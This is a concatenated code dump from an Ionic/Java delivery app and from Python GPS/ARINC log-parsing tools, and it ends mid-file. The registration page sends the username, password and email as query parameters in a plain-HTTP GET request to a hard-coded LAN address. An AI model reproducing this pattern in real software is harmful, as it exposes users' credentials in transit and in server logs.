panelOpenState = false;
ref;
datas: any =[];
all_items = [];
item_restuarant=[];
item_groceery=[];
item_medicine=[];
category: string;
restaurant:string;
medicine : string;
grocery: string;
stationary : string;
//cart=[];
constructor(public navCtrl: NavController, public navParams: NavParams,public global: GlobalCartProvider) {
//search bar
this.countryRef = firebase.database().ref('/restaurant');
this.countryRef.on('value', countryList => {
let countries = [];
countryList.forEach( country => {
countries.push(country.val());
return false;
});
this.countryList = countries;
this.loadedCountryList = countries;
});
//search bar
// this.ref = firebase.database().ref('restaurant/');
// console.log(this.category);
// this.ref.on('value',resp =>{
// this.item_restuarant = snapshotToArray(resp);
// for(var i =0;i<this.item_restuarant.length;i++)
// {
// this.all_items.push(this.item_restuarant[i].key);
// }
// console.log(this.item_restuarant);
// });
// this.ref = firebase.database().ref('grocerry/');
// console.log(this.category);
// this.ref.on('value',resp =>{
// this.item_groceery = snapshotToArray(resp);
// console.log(this.item_groceery);
// });
// this.ref = firebase.database().ref('medicine/');
// console.log(this.category);
// this.ref.on('value',resp =>{
// this.item_medicine = snapshotToArray(resp);
// console.log(this.item_medicine);
// });
}
initializeItems(){
this.countryList = this.loadedCountryList;
}
getItems(searchbar) {
// Reset items back to all of the items
this.initializeItems();
// set q to the value of the searchbar
var q = searchbar.srcElement.value;
// if the value is an empty string don't filter the items
if (!q) {
return;
}
this.countryList = this.countryList.filter((v) => {
if(v.name && q) {
if (v.name.toLowerCase().indexOf(q.toLowerCase()) > -1) {
return true;
}
return false;
}
});
this.flag = true;
console.log(q, this.countryList.length);
}
ionViewDidLoad()
{
}
slides = [
{
image: "assets/imgs/med.png",
},
{
image: "assets/imgs/forgotten.png",
},
{
image: "assets/imgs/restaurant.png",
}
];
// ChosenCategory(category)
// {
// this.navCtrl.push(DisplayCategoryPage,{
// category:category
// });
// }
//getItems(event)
//{
// var val = event.target.value;
// if (val && val.trim() != '') {
// this.all_items = this.all_items.filter((item) => {
// return (item.toLowerCase().indexOf(val.toLowerCase()) > -1);
// })
// }
//}
movetonext(category)
{
console.log(category);
this.navCtrl.push(ContactPage,{
category:category,
});
}
gotoForgotten()
{
console.log("hii");
this.navCtrl.push(ForgottenPage);
}
goDirectlyToMenuRestaurant()
{
//console.log(itemName.value.name);
this.navCtrl.push(DisplayDetailedDataPage,{
itemName:'Sheetal',
itemPlace: 'Sheetal',
itemCategory : 'restaurant'
});
}
}
<file_sep>/insetlp-provider/src/pages/upload/upload.ts
import { Component } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
import { Camera, CameraOptions } from '@ionic-native/camera';
import { Observable } from 'rxjs/Observable';
import { HttpClient} from '@angular/common/http';
/**
* Generated class for the UploadPage page.
*
* See https://ionicframework.com/docs/components/#navigation for more info on
* Ionic pages and navigation.
*/
@IonicPage()
@Component({
selector: 'page-upload',
templateUrl: 'upload.html',
})
export class UploadPage {
result: any;
data : Observable<any>;
base64Image:string;
filename : any;
constructor(public navCtrl: NavController, public navParams: NavParams, private camera: Camera,private http: HttpClient) {
}
openCamera()
{
const options: CameraOptions = {
quality: 100,
destinationType: this.camera.DestinationType.DATA_URL,
encodingType: this.camera.EncodingType.JPEG,
mediaType: this.camera.MediaType.PICTURE
}
this.camera.getPicture(options).then((imageData) => {
// imageData is either a base64 encoded string or a file URI
// If it's base64 (DATA_URL):
this.base64Image = 'data:image/jpeg;base64,' + imageData;
}, (err) => {
console.log("error");
});
}
PostData()
{
console.log(this.base64Image);
var url = "http://192.168.0.105:8098/Instant_Help/rest/hellodriver/driverDoc";
url = url+"?file="+this.base64Image;
this.http.get(url).subscribe(data=>{
this.result = data;
console.log(this.result);
});
}
}
<file_sep>/instapp-consumer/src/pages/register/register.ts
import { LoginPage } from './../login/login';
import { Component } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
import { Observable } from 'rxjs/Observable';
import { HttpClient} from '@angular/common/http';
@IonicPage()
@Component({
selector: 'page-register',
templateUrl: 'register.html',
})
export class RegisterPage {
user ={
username:'',
password: '',
emailid: '',
ConfirmPassword:''
}
accept_terms ;
data : Observable<any>;
result: any=[];
constructor(public navCtrl: NavController, public navParams: NavParams,private http: HttpClient)
{
}
RegisterForm()
{
if(this.user.password==this.user.ConfirmPassword)
{
console.log(this.user.username);
var url = "http://192.168.0.109:8098/Instant_Help/rest/hello/register";
url = url+"?username="+this.user.username+"&password="+<PASSWORD>+"&emailid="+this.user.emailid;
this.http.get(url).subscribe(data=>{
this.result = data;
console.log(this.result);
});
}else{
console.log("error");
}
this.navCtrl.push(LoginPage);
// var url = "http://192.168.43.210:8105/Instant/rest/hello";
// // console.log(this.user)
// let postData =(this.user);
// let result = JSON.stringify({'username': this.user.username,'password':<PASSWORD>,'emailid':this.user.emailid});
// //,{headers: new HttpHeaders().set('Content-Type', 'application/json'),}
// this.http.post(url,this.user).subscribe(data =>
// {
// console.log(data);
// this.result = data;
// this.navCtrl.push(HomePage);
// },error=>{
// console.log(error);
// });
}
}
<file_sep>/instelp-admin/src/Test/Optimized_path.java
package Test;
import java.util.*;
import javax.ws.rs.Consumes;
import javax.ws.rs.POST;
import javax.ws.rs.Path;
import javax.ws.rs.Produces;
import javax.ws.rs.core.MediaType;
@Path("/matrix")
public class Optimized_path {
private static int INFINITY = 100000000;
static int ar[];
static int adjacencyMatrix[][];
static String d="";
static DriverRegister dr = new DriverRegister();
static List<JsonObject> tempList = new ArrayList();
static JsonObject specPlace = new JsonObject();
static JsonObjects listOfPlace = new JsonObjects();
static Register reg = new Register();
static JsonObjects rec;
static String[] arrayToSend = new String[100];
private static class Index {
int currentVertex;
Set<Integer> vertexSet;
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Index index = (Index) o;
if (currentVertex != index.currentVertex) return false;
return !(vertexSet != null ? !vertexSet.equals(index.vertexSet) : index.vertexSet != null);
}
@Override
public int hashCode() {
int result = currentVertex;
result = 31 * result + (vertexSet != null ? vertexSet.hashCode() : 0);
return result;
}
private static Index createIndex(int vertex, Set<Integer> vertexSet) {
Index i = new Index();
i.currentVertex = vertex;
i.vertexSet = vertexSet;
return i;
}
}
private static class SetSizeComparator implements Comparator<Set<Integer>>{
@Override
public int compare(Set<Integer> o1, Set<Integer> o2) {
return o1.size() - o2.size();
}
}
public static int minCost(int[][] distance) throws Exception {
//stores intermediate values in map
System.out.println("inside min cost");
Map<Index, Integer> minCostDP = new HashMap<>();
Map<Index, Integer> parent = new HashMap<>();
System.out.println("distance.lenght "+distance.length);
List<Set<Integer>> allSets = generateCombination(distance.length - 1);
System.out.println("inside all sets "+allSets);
for(int i=0;i<allSets.size();i++)
{
System.out.println(" *"+allSets.get(i));
}
for(Set<Integer> set : allSets) {
for(int currentVertex = 1; currentVertex < distance.length; currentVertex++) {
if(set.contains(currentVertex)) {
continue;
}
Index index = Index.createIndex(currentVertex, set);
int minCost = INFINITY;
int minPrevVertex = 0;
//to avoid ConcurrentModificationException copy set into another set while iterating
Set<Integer> copySet = new HashSet<>(set);
for(int prevVertex : set) {
int cost = distance[prevVertex][currentVertex] + getCost(copySet, prevVertex, minCostDP);
if(cost < minCost) {
minCost = cost;
minPrevVertex = prevVertex;
}
}
//this happens for empty subset
if(set.size() == 0) {
minCost = distance[0][currentVertex];
}
minCostDP.put(index, minCost);
parent.put(index, minPrevVertex);
}
}
Set<Integer> set = new HashSet<>();
for(int i=1; i < distance.length; i++) {
set.add(i);
}
int min = Integer.MAX_VALUE;
int prevVertex = -1;
//to avoid ConcurrentModificationException copy set into another set while iterating
Set<Integer> copySet = new HashSet<>(set);
for(int k : set) {
int cost = distance[k][0] + getCost(copySet, k, minCostDP);
if(cost < min) {
min = cost;
prevVertex = k;
}
}
parent.put(Index.createIndex(0, set), prevVertex);
printTour(parent, distance.length);
return min;
}
private static void printTour(Map<Index, Integer> parent, int totalVertices) {
System.out.println("print tour");
Set<Integer> set = new HashSet<>();
for(int i=0; i < totalVertices; i++) {
set.add(i);
}
Integer start = 0;
Deque<Integer> stack = new LinkedList<>();
while(true) {
stack.push(start);
System.out.println(start+" Start");
set.remove(start);
start = parent.get(Index.createIndex(start, set));
if(start == null) {
break;
}
}
StringJoiner joiner = new StringJoiner("->");
stack.forEach(v -> joiner.add(String.valueOf(v)));
System.out.println("\nTSP tour");
String join = joiner.toString();
arrayToSend = join.split("->");
for(int i=0;i<arrayToSend.length-1;i++)
{
System.out.println(" "+arrayToSend[i]);
}
System.out.println(" ********"+arrayToSend[0]);
reg.cartArranged(arrayToSend);
sendAdjtoReg();
}
private static int getCost(Set<Integer> set, int prevVertex, Map<Index, Integer> minCostDP) {
System.out.println("inside get costm");
set.remove(prevVertex);
Index index = Index.createIndex(prevVertex, set);
int cost = minCostDP.get(index);
set.add(prevVertex);
return cost;
}
private static List<Set<Integer>> generateCombination(int n) throws Exception {
int input[] = new int[n];
for(int i = 0; i < input.length; i++) {
input[i] = i+1;
}
List<Set<Integer>> allSets = new ArrayList<>();
int result[] = new int[input.length];
generateCombination(input, 0, 0, allSets, result);
Collections.sort(allSets, new SetSizeComparator());
return allSets;
}
private static void generateCombination(int input[], int start, int pos, List<Set<Integer>> allSets, int result[]) throws Exception {
if(pos == input.length) {
return;
}
Set<Integer> set = createSet(result, pos);
allSets.add(set);
for(int i=start; i < input.length; i++) {
result[pos] = input[i];
generateCombination(input, i+1, pos+1, allSets, result);
}
}
private static Set<Integer> createSet(int input[], int pos) throws Exception {
if(pos == 0) {
return new HashSet<>();
}
Set<Integer> set = new HashSet<>();
for(int i = 0; i < pos; i++) {
set.add(input[i]);
reg.cartToOptimizedPath();
}
return set;
}
// -------------------------------- Accepting using object -----------------------------------------
@Path("/mobile/acceptMatrix")
@POST
@Produces(MediaType.APPLICATION_JSON)
@Consumes(MediaType.APPLICATION_JSON)
public static String[] AcceptMobileMatrix(String matrix) throws Exception{
System.out.println("inside matrix");
System.out.println("inside matrix"+matrix);
String[] waste2 = matrix.split(":");
String[] array_w = waste2[1].split("\"");
String[] array = array_w[1].split(",");
for(int i=0;i<array.length;i++)
{
System.out.println(array[i]);
}
int k = (int) Math.sqrt(array.length);
System.out.println("k: "+k);
adjacencyMatrix = new int[k][k];
ar = new int[k*k+1];
int index = dr.index;
int x;
System.out.println("size"+ar.length);
System.out.println(k*k+" K*K");
int count=0;
for(int i=0;i< array.length;i++)
{
//System.out.println( matrix.getMatrix().size()+" ");
if(array[i].contains("mins"))
{
d=array[i].replaceAll(" mins","");
}
else if(array[i].contains("min"))
{
d=array[i].replaceAll(" min","");
}
int num = Integer.parseInt(d);
System.out.println("mun: "+num);
if(num == 1)
num = 0;
ar[i] = num;
System.out.println("ar[i]: "+ar[i] + "i: "+i);
x= i;
}
for(int i=0;i<k;i++)
{
for(int j=0;j<k;j++)
{
adjacencyMatrix[i][j]=ar[count];
count++;
}
}
System.out.println("before arrangement should print");
for(int o=0;o<k;o++)
{
for(int p=0;p<k;p++)
{
System.out.print(adjacencyMatrix[o][p]+" ");
}
System.out.println();
}
int[] waste = new int[k];
System.out.println("waste length" +waste.length);
int[] waste1 = new int[k];
for(int i=0;i<waste.length;i++)
{
waste[i] = adjacencyMatrix[i][0];
waste1[i] = adjacencyMatrix[i][index];
System.out.println(" waste[i] "+waste[i]+" waste1[i] "+waste1[i]);
}
for(int i=0;i<waste.length;i++)
{
adjacencyMatrix[i][index] = waste[i];
adjacencyMatrix[i][0] = waste1[i];
System.out.println("adjacencyMatrix[i][index]"+adjacencyMatrix[i][index]+" adjacencyMatrix[i][0] "+adjacencyMatrix[i][0]);
}
for(int i=0;i<waste.length;i++)
{
waste[i] = adjacencyMatrix[0][i];
waste1[i] = adjacencyMatrix[index][i];
System.out.println(" waste[i] "+waste[i]+" waste1[i] "+waste1[i]);
}
for(int i=0;i<waste.length;i++)
{
adjacencyMatrix[index][i] = waste[i];
adjacencyMatrix[0][i] = waste1[i];
System.out.println("adjacencyMatrix[1][i]"+adjacencyMatrix[index][i]+" adjacencyMatrix[0][i] "+adjacencyMatrix[0][i]);
}
System.out.println("I think this should print");
for(int o=0;o<k;o++)
{
for(int p=0;p<k;p++)
{
System.out.print(adjacencyMatrix[o][p]+" ");
}
System.out.println();
}
minCost(adjacencyMatrix);
return arrayToSend;
}
//-------------------------------- Accepting using string website -----------------------------------------
@Path("/acceptMatrix")
@POST
@Produces(MediaType.TEXT_PLAIN)
@Consumes(MediaType.TEXT_PLAIN)
public static int AcceptMatrix(String matrix) throws Exception{
System.out.println("inside matrix"+matrix);
int index = dr.index;
System.out.println("the starting index should be: "+index);
String[] array = matrix.split(",");
for(int i=0;i<array.length;i++)
{
System.out.println(array[i]);
}
int k = (int) Math.sqrt(array.length);
System.out.println("k: "+k);
adjacencyMatrix = new int[k][k];
ar = new int[k*k+1];
int x;
System.out.println("size"+ar.length);
System.out.println(k*k+" K*K");
int count=0;
for(int i=0;i< array.length;i++)
{
//System.out.println( matrix.getMatrix().size()+" ");
if(array[i].contains("mins"))
{
d=array[i].replaceAll(" mins","");
}
else if(array[i].contains("min"))
{
d=array[i].replaceAll(" min","");
}
//System.out.println(d+"Holla");
int num = Integer.parseInt(d);
System.out.println("mun: "+num);
if(num == 1)
num = 0;
ar[i] = num;
System.out.println("ar[i]: "+ar[i] + "i: "+i);
x= i;
}
// ar[x+1] = dr.driver_Latitude;
for(int i=0;i<k;i++)
{
for(int j=0;j<k;j++)
{
adjacencyMatrix[i][j]=ar[count];
count++;
}
}
System.out.println("before arrangement should print");
for(int o=0;o<k;o++)
{
for(int p=0;p<k;p++)
{
System.out.print(adjacencyMatrix[o][p]+" ");
}
System.out.println();
}
System.out.println("mat length: "+matrix.length());
System.out.println("mat length: "+k);
int[] waste = new int[k];
int[] waste1 = new int[k];
for(int i=0;i<waste.length;i++)
{
waste[i] = adjacencyMatrix[i][0];
System.out.print(waste[i]+"i: ");
waste1[i] = adjacencyMatrix[i][1];
System.out.print(waste1[i]+"i: ");
}
for(int i=0;i<waste.length-1;i++)
{
adjacencyMatrix[i][1] = waste[i];
adjacencyMatrix[i][0] = waste1[i];
}
for(int i=0;i<waste.length-1;i++)
{
waste[i] = adjacencyMatrix[0][i];
waste1[i] = adjacencyMatrix[1][i];
}
for(int i=0;i<waste.length-1;i++)
{
adjacencyMatrix[1][i] = waste[i];
adjacencyMatrix[0][i] = waste1[i];
}
System.out.println("I think this should print");
for(int o=0;o<k;o++)
{
for(int p=0;p<k;p++)
{
System.out.print(adjacencyMatrix[o][p]+" ");
}
System.out.println();
}
minCost(adjacencyMatrix);
return 1;
}
public static String[] sendAdjtoReg() {
return arrayToSend;
}
}
<file_sep>/instelp-admin/src/Test/Matrix.java
package Test;
import java.util.List;
public class Matrix {
List<String> matrix;
public List<String> getMatrix() {
return matrix;
}
public void setMatrix(List<String> matrix) {
this.matrix = matrix;
}
}
<file_sep>/instapp-consumer/src/pages/get-location-map/get-location-map.module.ts
import { NgModule } from '@angular/core';
import { IonicPageModule } from 'ionic-angular';
import { GetLocationMapPage } from './get-location-map';
@NgModule({
declarations: [
GetLocationMapPage,
],
imports: [
IonicPageModule.forChild(GetLocationMapPage),
],
})
export class GetLocationMapPageModule {}
<file_sep>/instelp-admin/src/Test/sendDetailsToDriver.java
package Test;
import java.util.List;
public class sendDetailsToDriver {
// Forgotten Module
public String sizeOfProduct;
public String weightOfProduct;
public String typeOfProduct;
public String srcAddr;
public String destAddr;
public String srcLat;
public String srcLong;
public String destLat;
public String destLong;
// Cart Module
public String placeName;
public String placeLat;
public String placeLong;
public String placeLocation;
public String flag;
public List<MenuJson> menu;
public String cust_lat;
public String cust_long;
public String getSizeOfProduct() {
return sizeOfProduct;
}
public void setSizeOfProduct(String sizeOfProduct) {
this.sizeOfProduct = sizeOfProduct;
}
public String getWeightOfProduct() {
return weightOfProduct;
}
public void setWeightOfProduct(String weightOfProduct) {
this.weightOfProduct = weightOfProduct;
}
public String getTypeOfProduct() {
return typeOfProduct;
}
public void setTypeOfProduct(String typeOfProduct) {
this.typeOfProduct = typeOfProduct;
}
public String getSrcAddr() {
return srcAddr;
}
public void setSrcAddr(String srcAddr) {
this.srcAddr = srcAddr;
}
public String getDestAddr() {
return destAddr;
}
public void setDestAddr(String destAddr) {
this.destAddr = destAddr;
}
public String getSrcLat() {
return srcLat;
}
public void setSrcLat(String srcLat) {
this.srcLat = srcLat;
}
public String getSrcLong() {
return srcLong;
}
public void setSrcLong(String srcLong) {
this.srcLong = srcLong;
}
public String getDestLat() {
return destLat;
}
public void setDestLat(String destLat) {
this.destLat = destLat;
}
public String getDestLong() {
return destLong;
}
public void setDestLong(String destLong) {
this.destLong = destLong;
}
public String getPlaceName() {
return placeName;
}
public void setPlaceName(String placeName) {
this.placeName = placeName;
}
public String getPlaceLat() {
return placeLat;
}
public void setPlaceLat(String placeLat) {
this.placeLat = placeLat;
}
public String getPlaceLong() {
return placeLong;
}
public void setPlaceLong(String placeLong) {
this.placeLong = placeLong;
}
public String getPlaceLocation() {
return placeLocation;
}
public void setPlaceLocation(String placeLocation) {
this.placeLocation = placeLocation;
}
public String getFlag() {
return flag;
}
public void setFlag(String flag) {
this.flag = flag;
}
public List<MenuJson> getMenu() {
return menu;
}
public void setMenu(List<MenuJson> menu) {
this.menu = menu;
}
public String getCust_lat() {
return cust_lat;
}
public void setCust_lat(String cust_lat) {
this.cust_lat = cust_lat;
}
public String getCust_long() {
return cust_long;
}
public void setCust_long(String cust_long) {
this.cust_long = cust_long;
}
}
<file_sep>/README.md
# Instelp
It is an instant delivery Hybrid(web + mobile) application developed aiming to provide multiple goods and personalized services within 30 mins-1 hr.
Application has a algorithm which calculates delivery cost and time using Google Distance Matrix and Google Location API.
Created 3 different applications for delivery provider and consumers including live tracking to track the order and admin to keep track of system.
<file_sep>/insetlp-provider/src/pages/geo-location/geo-location.ts
import { Component } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
import * as firebase from 'firebase';
import { snapshotToArray } from './../../app/environment';
import { Geolocation } from '@ionic-native/geolocation';
/**
* Generated class for the GeoLocationPage page.
*
* See https://ionicframework.com/docs/components/#navigation for more info on
* Ionic pages and navigation.
*/
@IonicPage()
@Component({
selector: 'page-geo-location',
templateUrl: 'geo-location.html',
})
export class GeoLocationPage {
data : string = '';
items = [];
ref = firebase.database().ref('items/');
constructor(public navCtrl: NavController, public navParams: NavParams, private geolocation : Geolocation) {
this.ref.on('value',resp =>{
this.items = snapshotToArray(resp);
});
console.log(this.items);
}
addTocart(item)
{
console.log(item);
}
locate()
{
this.geolocation.getCurrentPosition().then((resp) => {
// resp.coords.latitude
// resp.coords.longitude
this.data = "lati "+resp.coords.latitude + " longi "+resp.coords.longitude;
}).catch((error) => {
console.log('Error getting location', error);
});
}
}
<file_sep>/instelp-admin/src/Test/JsonObjects.java
package Test;
import java.util.List;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlRootElement;
@XmlRootElement(name="JsonObject")
@XmlAccessorType(XmlAccessType.FIELD)
public class JsonObjects {
@XmlElement
List<JsonObject> cart;
public List<JsonObject> getCart() {
return cart;
}
public void setCart(List<JsonObject> cart) {
this.cart = cart;
}
}
| ff9ee9018681de48ef5344ac7165d465e0dc4e3b | [
"Markdown",
"Java",
"TypeScript",
"INI"
] | 39 | TypeScript | VasudhaMahajan/Instelp | 5561dd8df5313270cb9f7961ce3cf40d5400e417 | 883deff0a7291769bf5d56425a9c8d92d1ec8cf7 |
refs/heads/master | <repo_name>kylelindgren/gps_monitor<file_sep>/rcs/count_msgs.py
head 1.1;
branch ;
access ;
symbols ;
locks ; strict;
comment @@;
1.1
date 2004.10.13.15.31.08; author griffin_g; state In_Progress;
branches ;
next ;
desc
@@
1.1
log
@Initial revision@
text
@"""Prints the number of occurrences of each message in one or more log files."""
from xpr_log import Parser
class MessageCounts(Parser):
def __init__(self):
Parser.__init__(self)
self.msg_counts = {}
self.parse_command_line_fnames()
print 'Message counts for %i messages (%i bytes):' % \
(self.num_parsed, self.num_bytes)
keys = self.msg_counts.keys()
keys.sort()
for key in keys:
print ' %s : %6i' % (key, self.msg_counts[key])
def handle(self, msg):
self.msg_counts[msg.id] = self.msg_counts.get(msg.id, 0) + 1
if __name__ == '__main__':
MessageCounts()@
<file_sep>/pytools/Other Pytools/meas_3b.py
""" meas_3b.py: Extracts measurements from the specfied log file into a text
file containing lines of the form:
group number, time mark sequence number, sv x, sv y, sv z, pseudorange, pseudorange sigma
"""
__version__ = '$Revision: 1.3 $'
from xpr_log import Parser
class Meas3B(Parser):
def parse(self, fname):
meas_fname = 'meas_3b_out.txt'
print 'Writing 0x3b measurements from', fname, 'to', meas_fname
self.meas_f = file(meas_fname, 'wt')
self.tmsn = -1
self.group_number = 0
Parser.parse(self, fname)
def handle3B(self, msg):
if msg.time_mark_sequence_number != self.tmsn:
self.tmsn = msg.time_mark_sequence_number
self.group_number += 1
for meas in msg.measurements:
if meas.validity_and_in_use_mask & 0x80:
print >> self.meas_f, self.group_number, \
msg.time_mark_sequence_number, meas.prn, \
meas.sv_x, meas.sv_y, meas.sv_z, meas.pseudorange, \
meas.pseudorange_sigma
if __name__ == '__main__':
Meas3B().main('meas_3b')<file_sep>/rcs/pr.py
head 1.3;
branch ;
access ;
symbols 2PXRFS1:1.3 PVTSE_tests:1.3 HT_0113:1.3 TRR1:1.3;
locks ; strict;
comment @@;
1.3
date 2008.11.13.20.45.05; author John.Savoy; state Exp;
branches ;
next 1.2;
1.2
date 2007.07.30.19.51.37; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2007.07.30.19.42.57; author Grant.Griffin; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.3
log
@@
text
@""" pr.py: Generates a command file for pracc.py
Use: pr X
where 'X' is the number of a log file named 'logX.gps'.
"""
__version__ = '$Revision: 1.2 $'
import sys, os
# write command file
log = 'log' + sys.argv[1]
f = open(log + '_in.txt', 'wt')
f.write('.\\sat_data_V1A1.csv\n')
f.write('.\\' + log + '.gps\n')
f.write('min 21\n')
f.write('100.0\n')
f.write('5.0\n')
f.close()
try:
os.unlink(log + '.txt') # delete text version of log file
except WindowsError:
pass
os.system('pracc ' + log + '_in.txt') # call pracc.py
@
1.2
log
@changed min prn to 21@
text
@a18 2
f.write('0.0\n')
f.write('0.0\n')
@
1.1
log
@Initial revision@
text
@d18 1
a18 1
f.write('min 31\n')
@
<file_sep>/rcs/arinc_log.py
head 1.13;
branch ;
access ;
symbols 2PXRFS1:1.13 PVTSE_tests:1.13 HT_0113:1.13 TRR1:1.13 SCR2531:1.8;
locks ; strict;
comment @@;
1.13
date 2009.04.30.16.07.49; author John.Savoy; state Exp;
branches ;
next 1.12;
1.12
date 2008.04.11.20.32.06; author Grant.Griffin; state In_Progress;
branches ;
next 1.11;
1.11
date 2007.12.19.21.56.04; author Grant.Griffin; state In_Progress;
branches ;
next 1.10;
1.10
date 2007.12.19.21.21.08; author Grant.Griffin; state In_Progress;
branches ;
next 1.9;
1.9
date 2007.12.19.16.44.05; author Grant.Griffin; state In_Progress;
branches ;
next 1.8;
1.8
date 2007.12.13.19.55.33; author Grant.Griffin; state In_Progress;
branches ;
next 1.7;
1.7
date 2007.12.10.17.14.03; author Grant.Griffin; state In_Progress;
branches ;
next 1.6;
1.6
date 2007.11.02.22.21.07; author Grant.Griffin; state In_Progress;
branches ;
next 1.5;
1.5
date 2007.11.01.19.25.24; author Grant.Griffin; state In_Progress;
branches ;
next 1.4;
1.4
date 2007.10.26.22.26.10; author Grant.Griffin; state In_Progress;
branches ;
next 1.3;
1.3
date 2007.10.26.21.18.12; author Grant.Griffin; state In_Progress;
branches ;
next 1.2;
1.2
date 2007.10.25.20.18.56; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2007.10.24.19.12.05; author Grant.Griffin; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.13
log
@@
text
@""" arinc_log.py: This module provides a framework <tee-hee> to process ARINC
log files in the "raw" text format produced by the Ballard BusBox.
Copyright 2007, Honeywell International Inc.
To use this module:
1) Add support for any messages you need to the Label class below.
2) Derive your own parser class from Parser.
3) Override its functions as needed.
4) Add 'handleXXX', 'strXXX' and 'reprXXX' functions of your own to handle
whatever labels you need.
5) Instantiate the class and call one of the 'parse' functions, either directly
of via your __init__ function.
"""
__version__ = '$Revision: 1.12 $'
import struct
import arinc
class Parser:
"""Base class for parsing ARINC log files in various formats"""
SEPARATOR = ','
def __init__(self, ssms_to_parse=range(0, 4)):
"""Constructs the object"""
self.fname = ''
self.set_ssms_to_parse(ssms_to_parse)
self.ids_to_parse = {} # default is to parse all
self.line_num = 0
self.num_handled = 0
self.timestamp = None
def main(self, title='', fname=''):
"""Implements a simple main function for use by derived classes"""
if title:
print title
print
self.get_parse_ids_from_handlers()
self.parse(fname)
self.at_main_end()
def at_main_end(self):
"""Overridable function to do custom processing at the end of main"""
pass
def set_ssms_to_parse(self, ssms):
"""Sets the list of BNR-style SSMs to be parsed. (Labels with
BCD-style SSMs are converted to BNR style prior to being matched.)"""
self.ssms_to_parse = {}
for ssm in ssms:
self.ssms_to_parse[ssm] = True
def set_ids_to_parse(self, ids=[]):
"""Sets the IDs to be parsed."""
self.ids_to_parse = {}
for id_ in ids:
self.ids_to_parse[id_] = True
def get_handler_ids(self):
"""Gets a list of label IDs which have handlers"""
import re
handler_ids = []
for name in dir(self):
m = re.search('^handle(\d+)', name)
if m:
id = m.group(1)
handler_ids.append(id)
return handler_ids
def get_parse_ids_from_handlers(self):
self.set_ids_to_parse(self.get_handler_ids())
def parse(self, fname):
"""Parses an ARINC log file in various file formats"""
self.line_num = 1
self.line = ''
self.fname = fname
print 'Parsing', self.fname
fname = fname.lower()
if fname.endswith('.raw'):
self.parse_raw()
elif fname.endswith('.bin'):
self.parse_bin()
else:
self.parse_csv()
def parse_bin(self):
"""Parses the ATEToolkit binary log file format"""
f = file(self.fname, 'rb')
while True:
x = f.read(8)
if len(x) < 8:
break
(timestamp, data) = struct.unpack('II', x)
# print '%08X %08X' % (timestamp, data)
self.parse_label(oct(int(data & 0xFF)), int(data >> 8))
f.close()
def parse_csv(self):
"""Parses the ATEToolkit CSV log file format"""
f = file(self.fname, 'rt')
for self.line in f:
fields = self.line.split(self.SEPARATOR)
try:
Lbl = fields[1]
Value = int(fields[2], 16)
if fields[3] != 'NA':
Value <<= 2 # compensate for SDI shift
# print '-> %03s %06X' % (Lbl, Value)
except IndexError:
break # hit end-of-file text
self.timestamp = fields[0]
self.parse_label(Lbl, Value, self.timestamp)
f.close()
def parse_raw(self):
"""Parses the CoPilot 'RAW' log file format"""
f = file(self.fname, 'rt')
# chew up first two lines, which are useless
f.readline()
f.readline()
field_names = f.readline().split(self.SEPARATOR)
MessageVal_index = field_names.index('MessageVal')
ChanNum_index = field_names.index('ChanNum')
assert(MessageVal_index >= 0)
assert(ChanNum_index>=0)
self.line_num = 4
for self.line in f:
fields = self.line.split(self.SEPARATOR)
data = int(fields[MessageVal_index], 16)
arinc_channel = int(fields[ChanNum_index])
if arinc_channel == 1:
self.parse_label(oct(int(data & 0xFF)), int(data >> 8))
f.close()
def parse_label(self, Lbl, Value, timestamp=None):
"""Parses a label using the octal label number, in text, and
the label's data bits, as an integer"""
self.line_num += 1
Lbl = Lbl.lstrip('0')
if not Lbl \
or (self.ids_to_parse and not self.ids_to_parse.has_key(Lbl)):
return
try:
# print '%4s : %06X' % (Lbl, Value)
label = arinc.Label(Lbl, Value, timestamp)
except Exception, err:
if not self.handle_parse_error(err):
return
if not label.BNR_SSM in self.ssms_to_parse:
return
handler_name = 'handle' + label.Lbl
if hasattr(self, handler_name):
handler = getattr(self, handler_name)
handler(label)
self.num_handled += 1
else:
self.handle(label)
def handle(self, label):
"""Default handler to be overridden by derived class: handles all
labels which don't have a handleXXX function. note: do not call
get_parse_ids_from_handlers when using this function (otherwise,
unhandled packets will never be parsed)"""
pass
def handle_parse_error(self, err):
"""Default handler for parsing errors"""
print 'Parse error on line', self.line_num, ':'
print ' ', self.line
raise err
class TestParser(Parser):
"""Test parser for use by __main__ below. It just prints all parseable
labels."""
def handle(self, label):
"""Default handler which prints all parsable labels"""
if arinc.Label.DEFS.has_key(label.Lbl):
print str(label)
if __name__ == '__main__':
import sys
try:
fname = sys.argv[1]
except IndexError:
fname = 'export.raw'
TestParser().main('ARINC Test Parser', fname)@
1.12
log
@added "import struct"@
text
@d130 1
d132 1
d137 3
a139 1
self.parse_label(oct(int(data & 0xFF)), int(data >> 8))
@
1.11
log
@changed "bnr_ssms" to "ssms"@
text
@d19 1
@
1.10
log
@moved Label class et. al. to arinc.py@
text
@d26 1
a26 1
def __init__(self, bnr_ssms_to_parse=range(0, 4)):
d29 1
a29 1
self.set_bnr_ssms_to_parse(bnr_ssms_to_parse)
d48 4
a51 4
def set_bnr_ssms_to_parse(self, ssms):
"""Sets the list of BNR-style SSMs to be parsed. (BCD-style SSMs are
converted to BNR style prior to being matched.)"""
self.bnr_ssms_to_parse = {}
d53 1
a53 1
self.bnr_ssms_to_parse[ssm] = True
d151 1
a151 1
if not label.BNR_SSM in self.bnr_ssms_to_parse:
@
1.9
log
@added utc2tow function and some minor additions@
text
@d4 1
a4 1
Copyright 2004-2007, Honeywell International Inc.
a16 2
import struct, time
a18 16
GPS_PI = 3.1415926535898 # from ICD GPS-200
def utc2tow(seconds):
""" Returns the time-of-week (TOW) for the given number of seconds since
the UNIX epoch. """
tm = time.localtime(seconds)
(wday, hour, min, sec) = (tm[6], tm[3], tm[4], tm[5])
